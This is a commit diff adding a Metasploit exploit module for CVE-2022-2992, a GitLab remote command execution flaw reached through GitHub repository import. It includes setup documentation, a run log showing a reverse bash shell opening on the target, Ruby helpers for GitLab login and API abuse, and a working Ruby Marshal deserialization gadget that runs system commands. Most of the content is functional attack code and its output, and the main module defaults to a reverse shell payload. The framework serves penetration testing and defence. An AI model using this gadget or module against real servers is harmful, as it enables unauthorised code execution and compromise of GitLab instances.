Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
This commit is contained in:
commit
ac9d60ce9e
|
@ -0,0 +1,201 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
|
||||
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
|
||||
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
|
||||
including built-in methods such as `to_s`.
|
||||
|
||||
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
|
||||
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
|
||||
redis commands to the stream.
|
||||
|
||||
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
|
||||
|
||||
The following products are affected:
|
||||
|
||||
- From 11.10 to 15.1.6
|
||||
- From 15.2 to 15.2.4
|
||||
- From 15.3 to 15.3.2
|
||||
|
||||
|
||||
### Exploitation
|
||||
|
||||
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
|
||||
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
|
||||
execute a deserialization gadget and trigger the payload.
|
||||
|
||||
To achieve that this module:
|
||||
- Will generate an universal Ruby deserialization gadget payload;
|
||||
- Will create an access token for the user targeted;
|
||||
- Will start a server to emulate GitHub and serve the payload to be injected;
|
||||
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
|
||||
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
|
||||
|
||||
After the execution the cleanup method will be called and:
|
||||
- Should delete the created group and consequently the repository
|
||||
- Should revoke the access token created
|
||||
- Should logout the user
|
||||
|
||||
### Setup
|
||||
|
||||
Create a `docker-compose.yml` file as below:
|
||||
|
||||
```yml
|
||||
services:
|
||||
gitlab:
|
||||
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
|
||||
restart: always
|
||||
container_name: gitlab
|
||||
hostname: 'gitlab.example'
|
||||
network_mode: "bridge"
|
||||
ports:
|
||||
- '880:80'
|
||||
- '8443:443'
|
||||
volumes:
|
||||
- gitlab_config:/etc/gitlab
|
||||
- gitlab_logs:/var/log/gitlab
|
||||
- gitlab_data:/var/opt/gitlab
|
||||
volumes:
|
||||
gitlab_config:
|
||||
driver: local
|
||||
gitlab_logs:
|
||||
driver: local
|
||||
gitlab_data:
|
||||
driver: local
|
||||
```
|
||||
|
||||
Run the below command to create the container:
|
||||
|
||||
```
|
||||
$ docker-compose up
|
||||
```
|
||||
|
||||
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
|
||||
|
||||
```
|
||||
$ # Creating personal access token for the root user
|
||||
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
|
||||
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
|
||||
$ # Using the personal access token from the root user a user.
|
||||
$ USER=msf
|
||||
$ PASSWORD=SuperStrongestGitLabPassword
|
||||
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the GitLab (Default: `/`).
|
||||
|
||||
### USERNAME (required)
|
||||
|
||||
The username of the target user to authenticate with.
|
||||
|
||||
### PASSWORD (required)
|
||||
|
||||
The password of the target user to authenticate with.
|
||||
|
||||
### SRVHOST (required)
|
||||
|
||||
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
|
||||
### SRVPORT (required)
|
||||
|
||||
The local port to listen on. This is the port to be used when creating the tunnel.
|
||||
|
||||
### URIHOST
|
||||
|
||||
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
|
||||
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
|
||||
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
|
||||
through it, so it is important to use a host that is considered to be trustworthy.**
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker container running GitLab 15.3.1
|
||||
|
||||
The following example uses the following three hosts:
|
||||
|
||||
* 192.168.159.128 -- The target GitLab server
|
||||
* 192.168.250.134 -- The host on which Metasploit is running
|
||||
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
|
||||
tunneled in order to bypass GitLab restrictions.
|
||||
|
||||
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
|
||||
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
|
||||
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
|
||||
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
|
||||
address.
|
||||
|
||||
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
|
||||
address), then the module will throw this error:
|
||||
|
||||
```
|
||||
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
|
||||
|
||||
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
|
||||
PASSWORD Password1! yes The password for the specified username
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 880 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8088 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to the gitlab application
|
||||
URIHOST ext.msflab.local no Host to use in GitHub import URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME smcintyre yes The username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
|
||||
[*] Using URL: http://ext.msflab.local:8088/
|
||||
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
|
||||
id
|
||||
[*] Server stopped.
|
||||
|
||||
uid=998(git) gid=998(git) groups=998(git)
|
||||
pwd
|
||||
/var/opt/gitlab/gitlab-rails/working
|
||||
exit
|
||||
[*] 192.168.159.128 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
|
||||
```
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with gitlab installations
|
||||
module Gitlab
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Error
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Import
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Gitlab
|
||||
)
|
||||
end
|
||||
|
||||
# class GitLabClientException < StandardError; end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Access Tokens mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
module Msf::Exploit::Remote::HTTP::Gitlab::Error
|
||||
# GitLab error mixin
|
||||
class ClientError < ::StandardError
|
||||
def initialize(message: nil)
|
||||
super(message || 'Gitlab Client Error')
|
||||
end
|
||||
end
|
||||
|
||||
# Authentication error
|
||||
class AuthenticationError < ClientError
|
||||
def initialize
|
||||
super(message: 'Authentication failed')
|
||||
end
|
||||
end
|
||||
|
||||
# Csrf token error
|
||||
class CsrfError < ClientError
|
||||
def initialize(message = 'Could not successfully extract CSRF token')
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Group error
|
||||
class GroupError < ClientError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Import error
|
||||
class ImportError < ClientError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Version error
|
||||
class VersionError < ClientError
|
||||
def initialize
|
||||
super(message: 'Unable to determine Gitlab version')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,2 @@
|
|||
module Msf::Exploit::Remote::HTTP::Gitlab::Form
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Create a Gitlab Access Token via form
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
|
||||
# Create Gitlab access access token
|
||||
#
|
||||
# @return [String,nil] Gitlab personal access token if created, nil otherwise
|
||||
def gitlab_create_personal_access_token
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/-/profile/personal_access_tokens'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'personal_access_token[name]' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'personal_access_token[expires_at]' => '',
|
||||
'personal_access_token[scopes][]' => 'api',
|
||||
'commit' => 'Create personal access token'
|
||||
},
|
||||
'headers' => {
|
||||
'X-CSRF-Token' => gitlab_helper_extract_csrf_token(path: '/-/profile/personal_access_tokens', regex: /name="csrf-token" content="(.*)"/)
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
|
||||
|
||||
token = JSON.parse(res.body)['new_token']
|
||||
|
||||
return token if token
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab session mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
|
||||
# performs a gitlab login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def gitlab_sign_in(username, password)
|
||||
sign_in_path = '/users/sign_in'
|
||||
csrf_token = gitlab_helper_extract_csrf_token(
|
||||
path: sign_in_path,
|
||||
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
|
||||
)
|
||||
raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, sign_in_path),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
|
||||
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid gitlab cookie is returned
|
||||
return cookies if cookies =~ /(_gitlab_session=[A-Za-z0-9%-]+)/i
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# performs a gitlab logout
|
||||
#
|
||||
# @return [Boolean,GitLabError] True if sign out, Msf::Exploit::Remote::HTTP::Gitlab::Error otherwise
|
||||
def gitlab_sign_out
|
||||
csrf_token = gitlab_helper_extract_csrf_token(
|
||||
path: '/',
|
||||
regex: /name="csrf-token" content="(.*)"/
|
||||
)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/users/sign_out'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'_method' => 'post',
|
||||
'authenticity_token' => csrf_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
|
||||
|
||||
true
|
||||
end
|
||||
end
|
|
@ -0,0 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Groups mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab helpers mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
|
||||
# Helper methods are private and should not be called by modules
|
||||
|
||||
private
|
||||
|
||||
# Returns the POST data for a Gitlab login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param csrf_token [String] CSRF token
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitlab_helper_login_post_data(user, pass, csrf_token)
|
||||
post_data = {
|
||||
'utf8' => '✓',
|
||||
'authenticity_token' => csrf_token,
|
||||
'user[login]' => user,
|
||||
'user[password]' => pass,
|
||||
'user[remember_me]' => 0
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
def gitlab_helper_extract_csrf_token(path:, regex:)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, path),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
|
||||
|
||||
token = res.body[regex, 1]
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
|
||||
|
||||
token
|
||||
end
|
||||
end
|
|
@ -0,0 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab import mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Import
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
|
||||
end
|
|
@ -0,0 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest
|
||||
end
|
|
@ -0,0 +1,2 @@
|
|||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
|
||||
# Revoke a Gitlab access token via the v4 REST api
|
||||
#
|
||||
# @return [nil,GitLabClientError] nil if revoke, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
|
||||
def gitlab_revoke_personal_access_token(personal_access_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => personal_access_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Groups mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
|
||||
# Create a new group
|
||||
#
|
||||
# @return [String,nil] Group ID if successful create, nil otherwise
|
||||
def gitlab_create_group(group_name, api_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
},
|
||||
'data' => {
|
||||
name: group_name, path: group_name, visibility: 'public'
|
||||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
|
||||
|
||||
group = JSON.parse(res.body)
|
||||
|
||||
return group if group
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Delete a group
|
||||
#
|
||||
# @return [Bolean,GitLabClientError] True if successful deleted, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
|
||||
def gitlab_delete_group(group_id, api_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri('/api/v4/groups', group_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
|
||||
|
||||
true
|
||||
end
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
|
||||
# Import a repository from a remote URL
|
||||
#
|
||||
# @return [String,nil] Import ID if successfully enqueued, nil otherwise
|
||||
def gitlab_import_github_repo(group_name:, github_hostname:, api_token:)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/import/github'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
},
|
||||
'data' => {
|
||||
'personal_access_token' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'repo_id' => rand(1000),
|
||||
'target_namespace' => group_name,
|
||||
'new_name' => "gh-import-#{rand(1000)}",
|
||||
'github_hostname' => github_hostname
|
||||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
# 422 is returned if the import failed, but the response body contains the error message
|
||||
if res.code == 422
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
|
||||
end
|
||||
|
||||
# 201 is returned if the import was successfully enqueued
|
||||
unless res.code == 201
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
|
||||
end
|
||||
|
||||
# Example of a successful response body
|
||||
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
|
||||
|
||||
body = res.get_json_document
|
||||
|
||||
return body if body
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
|
||||
# Extracts the Gitlab version information from various sources
|
||||
#
|
||||
# @return [String,nil] Gitlab version if found, nil otherwise
|
||||
def gitlab_version
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
version = body['version'][Regexp.new(Msf::Exploit::Remote::HTTP::Gitlab::GITLAB_VERSION_PATTERN), 1]
|
||||
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
|
@ -0,0 +1,9 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab version mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Version
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
GITLAB_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'.freeze
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Ruby deserialization mixin
|
||||
module Msf
|
||||
# Ruby deserialization exploit module
|
||||
module Exploit::RubyDeserialization
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
# Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
|
||||
# shell.
|
||||
#
|
||||
# @param [String] name The name of the payload to use.
|
||||
# @param [String] command The OS command to execute.
|
||||
#
|
||||
# @return [String] The opaque data blob.
|
||||
def generate_ruby_deserialization_for_command(command, name)
|
||||
Msf::Util::RubyDeserialization.payload(name, command)
|
||||
end
|
||||
|
||||
# Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
|
||||
# payload automatically based on the platform and architecture.
|
||||
#
|
||||
# @param [String] name The name of the payload to use.
|
||||
# @param [Msf::EncodedPayload] payload The payload to execute.
|
||||
#
|
||||
# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
|
||||
# operating system command.
|
||||
#
|
||||
# @return [String] The opaque data blob.
|
||||
def generate_ruby_deserialization_for_payload(payload, name)
|
||||
command = nil
|
||||
|
||||
if payload.platform.platforms == [Msf::Module::Platform::Windows]
|
||||
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
|
||||
command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
|
||||
elsif payload.arch.first == Rex::Arch::ARCH_CMD
|
||||
command = payload.encoded
|
||||
end
|
||||
elsif payload.arch.first == Rex::Arch::ARCH_CMD
|
||||
command = payload.encoded
|
||||
end
|
||||
|
||||
if command.nil?
|
||||
raise 'Could not generate the payload for the platform/architecture combination'
|
||||
end
|
||||
|
||||
generate_ruby_deserialization_for_command(command, name)
|
||||
end
|
||||
|
||||
def self.gadget_chains
|
||||
Msf::Util::RubyDeserialization.payload_names
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Ruby deserialization Utility
|
||||
module Msf
|
||||
module Util
|
||||
# Ruby deserialization class
|
||||
class RubyDeserialization
|
||||
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
|
||||
PAYLOADS = {
|
||||
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
|
||||
net_writeadapter: proc do |command|
|
||||
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \
|
||||
"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \
|
||||
"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \
|
||||
"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \
|
||||
"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \
|
||||
"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"
|
||||
end
|
||||
}
|
||||
|
||||
def self.payload(payload_name, command = nil)
|
||||
|
||||
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
|
||||
|
||||
PAYLOADS[payload_name.to_sym].call(command)
|
||||
end
|
||||
|
||||
def self.payload_names
|
||||
PAYLOADS.keys
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,256 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
include Msf::Exploit::Git::SmartHttp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab
|
||||
include Msf::Exploit::RubyDeserialization
|
||||
|
||||
attr_accessor :cookie
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
|
||||
'Description' => %q{
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
If a user attempts to import a repo from an attacker-controlled server,
|
||||
the server will reply with a Redis serialization protocol object in the nested
|
||||
`default_branch`. GitLab will cache this object and
|
||||
then deserialize it when trying to load a user session, resulting in RCE.
|
||||
},
|
||||
'Author' => [
|
||||
'William Bowling (vakzz)', # discovery
|
||||
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
|
||||
'RedWay Security <https://infosec.exchange/@redway>', # PoC
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://hackerone.com/reports/1679624'],
|
||||
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
|
||||
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
|
||||
['CVE', '2022-2992']
|
||||
],
|
||||
'DisclosureDate' => '2022-10-06',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
|
||||
